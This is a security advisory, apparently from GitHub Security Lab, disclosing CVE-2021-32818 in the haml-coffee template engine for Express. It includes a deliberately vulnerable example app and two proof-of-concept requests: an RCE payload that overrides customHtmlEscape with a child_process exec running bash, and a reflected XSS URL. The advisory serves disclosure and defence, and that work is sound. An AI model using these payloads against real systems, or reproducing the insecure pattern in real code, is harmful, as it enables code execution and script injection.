Coordinated Disclosure Timeline
- 01/25/2021: Report sent to project main maintainer
- 02/01/2021: Contacted a likely maintainer due to lack of response from the main maintainer
- 04/25/2021: Deadline expired
- 05/14/2021: Publication as per our disclosure policy
Executive Summary
The Express render API was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE).
Technical Summary
Express JS allows developers to use a variety of template rendering engines. These engines substitute things inside the template by inspecting an object that the application has supplied. For example, the following snippet renders a template named “index” and passes an object with two elements, a title, and a message.
app.get('/', function (req, res) {
res.render('index', { title: 'Hey', message: 'Hello there!' })
})
Template engines often need a way to set their configuration parameters, such as the path to the template directory, the name of the template, and other engine-specific parameters. To accomplish this many template engines have opted to receive their configuration options directly through the Express render API.
Passing template engine configuration parameters through the Express render API can lead to vulnerabilities if the object is user controlled. Downstream applications often opt to pass their template data in directly through the remote user-controlled req.query
object. This results in a scenario where a remote attacker may be able to subvert the vulnerable application through malicious template engine configuration options.
The security impact is specific to the engine used by the application but ranges from XSS to RCE.
IMPORTANT: this is a library/engine level API misuse resulting in a potential vulnerability in downstream application code. Express did not intend for render engines to mix template data with configuration options in the same object. We have confirmed this in discussion with the ExpressJS team.
Real world downstream vulnerabilities manifest when applications pass a user controlled object (e.g. req.query) directly into a render engine that accepts config options through the Express render interface.
Our research has shown that this vulnerability pattern occurs in the wild and that many template engines are following this unintended Express render API pattern of use, resulting in an unknown number of affected downstream applications.
By reporting this API misuse at the engine level, we hope to capture this issue more broadly than trying to pursue every single affected application as well as prevent future API misuse.
Product
haml-coffee
Tested Version
1.14.1
Details
Issue 1: template engine configuration options are passed through Express render API leading to RCE
Haml-coffee mixes pure template data with engine configuration options through the Express render API. More specifically, haml-coffee supports overriding a series of HTML helper functions through its configuration options. A vulnerable application that passes user controlled request objects to the haml-coffee template engine may introduce RCE vulnerabilities.
For example, control over the customHtmlEscape
parameter can trigger RCE vulnerabilities in downstream applications.
Example vulnerable application code:
const express = require('express')
const partials = require('express-partials');
const app = express()
const port = 3000
app.engine('hamlc', require('haml-coffee').__express);
app.use(partials());
app.set('views', __dirname);
app.set('view engine', 'hamlc');
app.get('/', function(req, res) {
res.render('index', req.query)
})
app.listen(port, () => { console.log(`Listening at http://localhost:${port}`) })
module.exports = app;
Which uses the following template (index.hamlc):
%h1= "Welcome #{ @name }"
The following POC would execute arbitrary code on a vulnerable application by overriding the customHtmlEscape
function:
curl "http://localhost:3000/?name=a&customHtmlEscape=process.mainModule.require(%27child_process%27).exec%20%27bash%20-c%20%22touch%20%2Ftmp%2FGHSLPayload%22%27"
Impact
Remote Code Execution.
Issue 2: template engine configuration options are passed through Express render API leading to reflected XSS
Control over the escapeHtml
parameter through template configuration pollution ensures that haml-coffee would not sanitize template inputs that may result in reflected Cross Site Scripting attacks against downstream applications.
The following POC would trigger a reflected XSS vulnerability by keeping escapeHtml
as false
:
http://localhost:3000/?name=%3Cscript%3Ealert(1)%3C/script%3E&escapeHtml=
Impact
Reflected Cross Site Scripting
CVE
- CVE-2021-32818
Resources
- https://expressjs.com/en/api.html#res.render
- http://expressjs.com/en/guide/using-template-engines.html
- http://expressjs.com/en/advanced/developing-template-engines.html
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-025
in any communication regarding this issue.